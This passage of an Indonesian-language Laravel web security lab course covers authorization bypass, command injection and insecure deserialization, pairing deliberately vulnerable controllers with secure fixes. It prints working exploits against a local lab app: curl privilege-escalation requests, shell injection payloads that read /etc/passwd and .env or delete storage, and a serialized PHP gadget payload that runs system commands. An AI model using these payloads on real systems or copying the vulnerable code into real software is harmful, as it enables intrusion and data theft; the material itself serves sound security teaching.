    // VULNERABLE: Tidak ada authorization check
    public function dashboardVulnerable()
    {
        // Siapa saja yang login bisa akses!
        $users = User::all();
        return view('admin.dashboard-vulnerable', compact('users'));
    }

    // VULNERABLE: Weak authorization
    public function deleteUserVulnerable($id)
    {
        // Hanya cek jika user login, tidak cek role
        if (!auth()->check()) {
            return redirect('/login');
        }

        User::findOrFail($id)->delete();
        return redirect()->back()->with('success', 'User deleted!');
    }

    // VULNERABLE: Client-side authorization
    public function updateRoleVulnerable(Request $request, $id)
    {
        // BAHAYA: Percaya input dari client
        $user = User::findOrFail($id);

        // Tidak verify apakah requester adalah admin
        $user->role = $request->input('role');
        $user->save();

        return redirect()->back()->with('success', 'Role updated!');
    }
}

File: resources/views/admin/dashboard-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Admin Dashboard - VULNERABLE</title>
</head>
<body>
    <h1>Admin Dashboard (VULNERABLE)</h1>

    <table border="1">
        <tr>
            <th>ID</th>
            <th>Name</th>
            <th>Email</th>
            <th>Role</th>
            <th>Actions</th>
        </tr>
        @foreach($users as $user)
        <tr>
            <td>{{ $user->id }}</td>
            <td>{{ $user->name }}</td>
            <td>{{ $user->email }}</td>
            <td>{{ $user->role }}</td>
            <td>
                <form method="POST" action="/vulnerable/admin/users/{{ $user->id }}/delete" style="display:inline;">
                    @csrf
                    <button type="submit">Delete</button>
                </form>

                <form method="POST" action="/vulnerable/admin/users/{{ $user->id }}/role" style="display:inline;">
                    @csrf
                    <select name="role">
                        <option value="user">User</option>
                        <option value="admin">Admin</option>
                    </select>
                    <button type="submit">Update Role</button>
                </form>
            </td>
        </tr>
        @endforeach
    </table>
</body>
</html>

Route:

Route::get('/vulnerable/admin/dashboard', [AdminController::class, 'dashboardVulnerable']);
Route::post('/vulnerable/admin/users/{id}/delete', [AdminController::class, 'deleteUserVulnerable']);
Route::post('/vulnerable/admin/users/{id}/role', [AdminController::class, 'updateRoleVulnerable']);

6.3 Eksploitasi Authorization Bypass

Test Serangan:

# 1. Akses admin panel tanpa authorization
curl http://localhost:8000/vulnerable/admin/dashboard \
  -H "Cookie: laravel_session=USER_SESSION"

# 2. Privilege Escalation - upgrade ke admin
curl -X POST http://localhost:8000/vulnerable/admin/users/1/role \
  -d "role=admin" \
  -H "Cookie: laravel_session=USER_SESSION"

# 3. Delete any user
curl -X POST http://localhost:8000/vulnerable/admin/users/2/delete \
  -H "Cookie: laravel_session=USER_SESSION"

IDOR (Insecure Direct Object Reference):

// User dengan ID 5 bisa akses profile user lain
GET /user/profile/10  // Harusnya tidak bisa akses

6.4 Mitigasi Authorization Bypass

Buat Middleware:

php artisan make:middleware EnsureUserIsAdmin

File: app/Http/Middleware/EnsureUserIsAdmin.php

<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;

class EnsureUserIsAdmin
{
    public function handle(Request $request, Closure $next)
    {
        if (!auth()->check()) {
            return redirect('/login')->with('error', 'Please login first');
        }

        if (auth()->user()->role !== 'admin') {
            abort(403, 'Unauthorized - Admin access required');
        }

        return $next($request);
    }
}

Register Middleware di app/Http/Kernel.php:

protected $middlewareAliases = [
    // ... middleware lain
    'admin' => \App\Http\Middleware\EnsureUserIsAdmin::class,
];

Controller SECURE:

<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Gate;

class AdminController extends Controller
{
    public function __construct()
    {
        // Apply middleware ke semua method
        $this->middleware('admin');
    }

    // SECURE: Dengan authorization check
    public function dashboardSecure()
    {
        // Double check (defense in depth)
        if (auth()->user()->role !== 'admin') {
            abort(403);
        }

        $users = User::all();
        return view('admin.dashboard-secure', compact('users'));
    }

    // SECURE: Dengan Gate
    public function deleteUserSecure($id)
    {
        Gate::authorize('delete-user');

        $user = User::findOrFail($id);

        // Prevent deleting self
        if ($user->id === auth()->id()) {
            return redirect()->back()->with('error', 'Cannot delete yourself!');
        }

        $user->delete();
        return redirect()->back()->with('success', 'User deleted!');
    }

    // SECURE: Dengan Policy
    public function updateRoleSecure(Request $request, $id)
    {
        $user = User::findOrFail($id);

        // Authorize using Policy
        $this->authorize('update', $user);

        $validated = $request->validate([
            'role' => 'required|in:user,admin'
        ]);

        // Prevent demoting last admin
        if ($validated['role'] === 'user' && $user->role === 'admin') {
            $adminCount = User::where('role', 'admin')->count();
            if ($adminCount <= 1) {
                return redirect()->back()->with('error', 'Cannot demote last admin!');
            }
        }

        $user->role = $validated['role'];
        $user->save();

        return redirect()->back()->with('success', 'Role updated securely!');
    }
}

Buat Policy:

php artisan make:policy UserPolicy --model=User

File: app/Policies/UserPolicy.php

<?php

namespace App\Policies;

use App\Models\User;

class UserPolicy
{
    public function update(User $authUser, User $targetUser)
    {
        // Hanya admin yang bisa update
        return $authUser->role === 'admin';
    }

    public function delete(User $authUser, User $targetUser)
    {
        // Admin bisa delete, tapi tidak bisa delete diri sendiri
        return $authUser->role === 'admin' && $authUser->id !== $targetUser->id;
    }

    public function viewAny(User $user)
    {
        return $user->role === 'admin';
    }
}

Register Policy di app/Providers/AuthServiceProvider.php:

protected $policies = [
    User::class => UserPolicy::class,
];

Define Gates:

File: app/Providers/AuthServiceProvider.php

use Illuminate\Support\Facades\Gate;

public function boot()
{
    Gate::define('delete-user', function ($user) {
        return $user->role === 'admin';
    });

    Gate::define('manage-users', function ($user) {
        return $user->role === 'admin';
    });
}

Route SECURE:

// Protected dengan middleware
Route::middleware(['auth', 'admin'])->group(function () {
    Route::get('/secure/admin/dashboard', [AdminController::class, 'dashboardSecure']);
    Route::post('/secure/admin/users/{id}/delete', [AdminController::class, 'deleteUserSecure']);
    Route::post('/secure/admin/users/{id}/role', [AdminController::class, 'updateRoleSecure']);
});

Best Practices Authorization:

// ✅ BAIK: Gunakan middleware
Route::middleware('admin')->group(function () { ... });

// ✅ BAIK: Gunakan Gate
if (Gate::allows('delete-user')) { ... }
Gate::authorize('delete-user');

// ✅ BAIK: Gunakan Policy
$this->authorize('update', $user);

// ✅ BAIK: Check di Blade
@can('update', $user)
    <button>Edit</button>
@endcan

// ✅ BAIK: Multiple checks (defense in depth)
if (auth()->user()->role === 'admin' && Gate::allows('delete-user')) { ... }

// ❌ BURUK: Client-side only check
if (request()->input('is_admin')) { ... }

// ❌ BURUK: Tidak ada authorization check
public function deleteUser($id) { User::find($id)->delete(); }

// ❌ BURUK: Hanya check authentication, tidak check authorization
if (auth()->check()) { // allow admin action }

MODUL 7: COMMAND INJECTION

7.1 Teori Singkat

Command Injection adalah vulnerability yang memungkinkan attacker mengeksekusi sistem command arbitrary melalui aplikasi web.

7.2 Skenario Vulnerable Code

Buat Controller:

php artisan make:controller SystemController

File: app/Http/Controllers/SystemController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class SystemController extends Controller
{
    // VULNERABLE: Command Injection via ping
    public function pingVulnerable(Request $request)
    {
        $host = $request->input('host');

        // BAHAYA: Input langsung ke shell command
        $output = shell_exec("ping -c 4 " . $host);

        return view('system.ping-vulnerable', compact('output'));
    }

    // VULNERABLE: Command Injection via file processing
    public function convertImageVulnerable(Request $request)
    {
        $filename = $request->input('filename');

        // BAHAYA: Filename tidak di-sanitize
        $command = "convert /uploads/$filename /uploads/output.jpg";
        exec($command, $output, $return_var);

        return view('system.convert', compact('output'));
    }
}

File: resources/views/system/ping-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Ping Tool - VULNERABLE</title>
</head>
<body>
    <h1>Ping Tool (VULNERABLE)</h1>

    <form method="POST" action="/vulnerable/system/ping">
        @csrf
        <label>Host to ping:</label>
        <input type="text" name="host" placeholder="example.com">
        <button type="submit">Ping</button>
    </form>

    @if(isset($output))
        <h2>Output:</h2>
        <pre>{{ $output }}</pre>
    @endif
</body>
</html>

Route:

Route::post('/vulnerable/system/ping', [SystemController::class, 'pingVulnerable']);

7.3 Eksploitasi Command Injection

Test Serangan:

# Payload 1: Command chaining dengan semicolon
Host: example.com; ls -la

# Payload 2: Command chaining dengan &&
Host: example.com && cat /etc/passwd

# Payload 3: Command chaining dengan ||
Host: example.com || whoami

# Payload 4: Command chaining dengan pipe
Host: example.com | cat .env

# Payload 5: Command substitution
Host: example.com `cat .env`
Host: example.com $(whoami)

# Payload 6: Backtick injection
Host: `rm -rf storage/*`

# Payload 7: Redirect output
Host: example.com > /dev/null; cat .env > public/exposed.txt

Akses hasil:

http://localhost:8000/exposed.txt

7.4 Mitigasi Command Injection

Controller SECURE:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Symfony\Component\Process\Process;
use Symfony\Component\Process\Exception\ProcessFailedException;

class SystemController extends Controller
{
    // SECURE: Dengan validasi dan whitelisting
    public function pingSecure(Request $request)
    {
        $validated = $request->validate([
            'host' => 'required|ip|max:15'  // Hanya terima IP valid
        ]);

        $host = $validated['host'];

        // Metode 1: Menggunakan escapeshellarg()
        $host = escapeshellarg($host);
        $output = shell_exec("ping -c 4 $host 2>&1");

        return view('system.ping-secure', compact('output'));
    }

    // SECURE: Menggunakan Symfony Process
    public function pingSecureV2(Request $request)
    {
        $validated = $request->validate([
            'host' => 'required|regex:/^[a-zA-Z0-9.-]+$/|max:255'
        ]);

        // Metode 2: Symfony Process (Recommended)
        $process = new Process(['ping', '-c', '4', $validated['host']]);

        try {
            $process->mustRun();
            $output = $process->getOutput();
        } catch (ProcessFailedException $exception) {
            $output = "Error: " . $exception->getMessage();
        }

        return view('system.ping-secure', compact('output'));
    }

    // SECURE: Dengan whitelist domain
    public function pingSecureV3(Request $request)
    {
        $allowedHosts = [
            'google.com',
            'example.com',
            'localhost'
        ];

        $host = $request->input('host');

        if (!in_array($host, $allowedHosts)) {
            return back()->with('error', 'Host not allowed!');
        }

        $process = new Process(['ping', '-c', '4', $host]);
        $process->run();
        $output = $process->getOutput();

        return view('system.ping-secure', compact('output'));
    }

    // SECURE: Alternatif tanpa shell command
    public function checkHostSecure(Request $request)
    {
        $validated = $request->validate([
            'host' => 'required|url'
        ]);

        // Gunakan PHP function native
        $host = parse_url($validated['host'], PHP_URL_HOST);
        $ip = gethostbyname($host);

        $isReachable = ($ip !== $host) ? 'Host is reachable' : 'Host not found';

        return view('system.check-host', compact('host', 'ip', 'isReachable'));
    }
}

Best Practices Command Injection Prevention:

// ✅ BAIK: Hindari shell command jika memungkinkan
// Gunakan PHP functions: file_get_contents(), gethostbyname(), dll

// ✅ BAIK: Gunakan Symfony Process Component
$process = new Process(['command', 'arg1', 'arg2']);
$process->run();

// ✅ BAIK: Escape input dengan escapeshellarg()
$safe = escapeshellarg($userInput);
shell_exec("command $safe");

// ✅ BAIK: Validasi ketat dengan regex
'input' => 'required|regex:/^[a-zA-Z0-9._-]+$/'

// ✅ BAIK: Whitelist input
if (!in_array($input, $allowedValues)) { abort(400); }

// ❌ BURUK: Concatenate user input
shell_exec("command " . $userInput);

// ❌ BURUK: exec(), system(), passthru() dengan user input
exec("command " . $_GET['param']);

// ❌ BURUK: Percaya input user
shell_exec("ping " . $request->input('host'));

Disable Dangerous Functions:

File: php.ini

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

MODUL 8: INSECURE DESERIALIZATION

8.1 Teori Singkat

Insecure Deserialization terjadi ketika aplikasi deserialize data yang tidak terpercaya tanpa validasi yang proper, memungkinkan attacker mengeksekusi arbitrary code.

8.2 Skenario Vulnerable Code

Buat Controller:

php artisan make:controller SerializationController

File: app/Http/Controllers/SerializationController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class SerializationController extends Controller
{
    // VULNERABLE: Deserialization dari user input
    public function loadDataVulnerable(Request $request)
    {
        $serialized = $request->input('data');

        // BAHAYA: unserialize() dari user input
        $data = unserialize($serialized);

        return view('serialization.result', compact('data'));
    }

    // VULNERABLE: Deserialize dari cookie
    public function processUserPreferences(Request $request)
    {
        $preferences = $request->cookie('preferences');

        if ($preferences) {
            // BAHAYA: Cookie bisa dimodifikasi client
            $data = unserialize(base64_decode($preferences));

            // Process preferences...
        }

        return view('preferences.show');
    }
}

8.3 Eksploitasi Insecure Deserialization

Malicious Class untuk Exploit:

<?php

class Evil {
    private $command;

    public function __construct($cmd) {
        $this->command = $cmd;
    }

    // Magic method dipanggil saat unserialize
    public function __destruct() {
        system($this->command);
    }
}

// Generate payload
$evil = new Evil('cat .env > public/hacked.txt');
$serialized = serialize($evil);
echo base64_encode($serialized);

// Output: Tzo0OiJFdmlsIjoxOntzOjEzOiIARXZpbABjb21tYW5kIjtzOjI3OiJjYXQgLmVudiA+IHB1YmxpYy9oYWNrZWQudHh0Ijt9

Test Serangan:

# Send malicious serialized data
curl -X POST http://localhost:8000/vulnerable/load-data \
  -d "data=Tzo0OiJFdmlsIjoxOntzOjEzOiIARXZpbABjb21tYW5kIjtzOjI3OiJjYXQgLmVudiA+IHB1YmxpYy9oYWNrZWQudHh0Ijt9"

8.4 Mitigasi Insecure Deserialization

Controller SECURE:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class SerializationController extends Controller
{
    // SECURE: Gunakan JSON instead of serialize
    public function loadDataSecure(Request $request)
    {
        $jsonData = $request->input('data');

        // JSON lebih aman karena tidak execute code
        $data = json_decode($jsonData, true);

        // Validate structure
        if (!is_array($data) || !isset($data['expected_key'])) {
            return back()->with('error', 'Invalid data format');
        }

        return view('serialization.result', compact('data'));
    }

    // SECURE: Sign serialized data
    public function savePreferencesSecure(Request $request)
    {
        $preferences = [
            'theme' => $request->input('theme'),
            'language' => $request->input('language')
        ];

        // Sign dengan HMAC
        $serialized = serialize($preferences);
        $signature = hash_hmac('sha256', $serialized, config('app.key'));
        $signed = base64_encode($serialized . '|' . $signature);

        return response()
            ->view('preferences.show')
            ->cookie('preferences', $signed);
    }

    public function loadPreferencesSecure(Request $request)
    {
        $signed = $request->cookie('preferences');

        if (!$signed) {
            return view('preferences.show');
        }

        $decoded = base64_decode($signed);
        $parts = explode('|', $decoded);

        if (count($parts) !== 2) {
            return back()->with('error', 'Invalid preferences data');
        }

        list($serialized, $signature) = $parts;

        // Verify signature
        $expected = hash_hmac('sha256', $serialized, config('app.key'));

        if (!hash_equals($expected, $signature)) {
            return back()->with('error', 'Preferences data has been tampered!');
        }

        // Safe to unserialize
        $preferences = unserialize($serialized);

        return view('preferences.show', compact('preferences'));
    }
}

Best Practices Deserialization:

// ✅ BAIK: Gunakan JSON
$data = json_decode($input, true);

// ✅ BAIK: Validate dan sign serialized data
$signature = hash_hmac('sha256', $serialized, $key);

// ✅ BAIK: Gunakan Laravel's encrypted cookies
Cookie::queue('data', $value); // Auto-encrypted & signed

// ✅ BAIK: Whitelist allowed classes (PHP 7+)
$data = unserialize($input, ['allowed_classes' => ['MyClass']]);

// ✅ BAIK: Validate structure setelah deserialization
if (!$data instanceof ExpectedClass) { abort(400); }

// ❌ BURUK: unserialize() dari user input
$data = unserialize($_POST['data']);

// ❌ BURUK: Deserialize tanpa signature verification
$data = unserialize(base64_decode($_COOKIE['data']));

TUGAS PERTEMUAN 2

Tugas Mandiri

  1. File Upload Vulnerability:

    • Implementasikan upload avatar user dengan vulnerability
    • Upload web shell dan eksekusi command
    • Perbaiki dengan validasi lengkap dan private storage
  2. Authorization Bypass:

    • Buat sistem management user dengan IDOR vulnerability
    • Lakukan privilege escalation
    • Implementasikan Policy dan Gate dengan benar
  3. Command Injection:

    • Buat fitur backup database dengan vulnerability
    • Eksekusi arbitrary command
    • Perbaiki menggunakan Symfony Process
  4. Insecure Deserialization:

    • Buat fitur export/import settings dengan serialization
    • Buat payload untuk RCE
    • Implementasikan signed serialization atau JSON

Project Akhir

Buat Aplikasi E-Commerce Sederhana dengan:

  1. Features:

    • User registration & login
    • Product catalog dengan search
    • Shopping cart
    • Checkout process
    • Admin panel
  2. Implementasikan Security:

    • ✅ SQL Injection prevention
    • ✅ XSS prevention
    • ✅ CSRF protection
    • ✅ Mass Assignment protection
    • ✅ Secure file upload
    • ✅ Proper authorization
    • ✅ Input validation
    • ✅ Security headers
  3. Testing:

    • Lakukan penetration testing
    • Dokumentasikan vulnerabilities yang ditemukan
    • Implementasikan fixes

Laporan Praktikum 2

Buat laporan lengkap yang berisi:

  1. Screenshot hasil eksploitasi setiap vulnerability
  2. Analisis code vulnerable vs secure
  3. Penjelasan teknis setiap serangan
  4. Implementasi mitigasi
  5. Testing hasil perbaikan
  6. Project akhir dengan security checklist

KESIMPULAN

Rangkuman

Praktikum ini telah membahas berbagai eksploitasi web pada aplikasi Laravel dan cara mengantisipasinya:

Pertemuan 1:

  1. SQL Injection – Gunakan Eloquent ORM dan parameter binding
  2. XSS – Escape output dengan {{ }} dan implementasi CSP
  3. CSRF – Gunakan @csrf token di semua form
  4. Mass Assignment – Definisikan $fillable atau $guarded di model

Pertemuan 2:

  1. File Upload – Validasi tipe file, gunakan storage private, generate unique filename
  2. Authorization – Implementasikan middleware, Policy, dan Gate
  3. Command Injection – Hindari shell command, gunakan Symfony Process
  4. Deserialization – Gunakan JSON atau signed serialization

Key Takeaways

  1. Defense in Depth: Implementasikan multiple layers of security
  2. Validate Everything: Never trust user input
  3. Least Privilege: Berikan akses minimum yang diperlukan
  4. Secure by Default: Laravel sudah secure, jangan nonaktifkan fitur security
  5. Keep Updated: Selalu update Laravel dan dependencies
  6. Security Testing: Regular penetration testing dan code review

Security Checklist untuk Laravel

 Gunakan Eloquent ORM (bukan raw SQL)
 Escape semua output dengan {{ }}
 Enable CSRF protection (@csrf di semua form)
 Definisikan $fillable/$guarded di semua Model
 Validasi semua input dengan Request Validation
 Gunakan middleware untuk authentication & authorization
 Implementasikan Policy/Gate untuk complex authorization
 Simpan file upload di private storage
 Hash password dengan bcrypt/argon2
 Gunakan HTTPS di production
 Set security headers (CSP, X-Frame-Options, dll)
 Disable debug mode di production (APP_DEBUG=false)
 Protect .env file
 Rate limiting untuk API dan login
 Log security events
 Regular security updates

Resources Tambahan

Dokumentasi:

Tools:

  • Laravel Debugbar: Debugging
  • PHPStan: Static Analysis
  • Laravel Security Checker: Vulnerability Scanner

Books:

  • “Web Application Security” by Andrew Hoffman
  • “The Tangled Web” by Michal Zalewski

KRITERIA PENILAIAN

Penilaian Laporan (40%)

  • Kelengkapan dokumentasi: 10%
  • Screenshot dan penjelasan: 10%
  • Analisis code: 10%
  • Kesimpulan: 10%

Penilaian Praktik (40%)

  • Berhasil eksploitasi: 15%
  • Implementasi fix: 15%
  • Code quality: 10%

Project Akhir (20%)

  • Fungsionalitas aplikasi: 5%
  • Implementasi security: 10%
  • Dokumentasi: 5%

Selamat Belajar & Stay Secure! 🔒

Catatan: Semua eksploitasi dalam praktikum ini hanya untuk tujuan pembelajaran. JANGAN gunakan teknik ini untuk menyerang sistem yang bukan milik Anda. Ini adalah tindakan ilegal dan tidak etis.


This content originally appeared on DEV Community and was authored by ahmadasroni38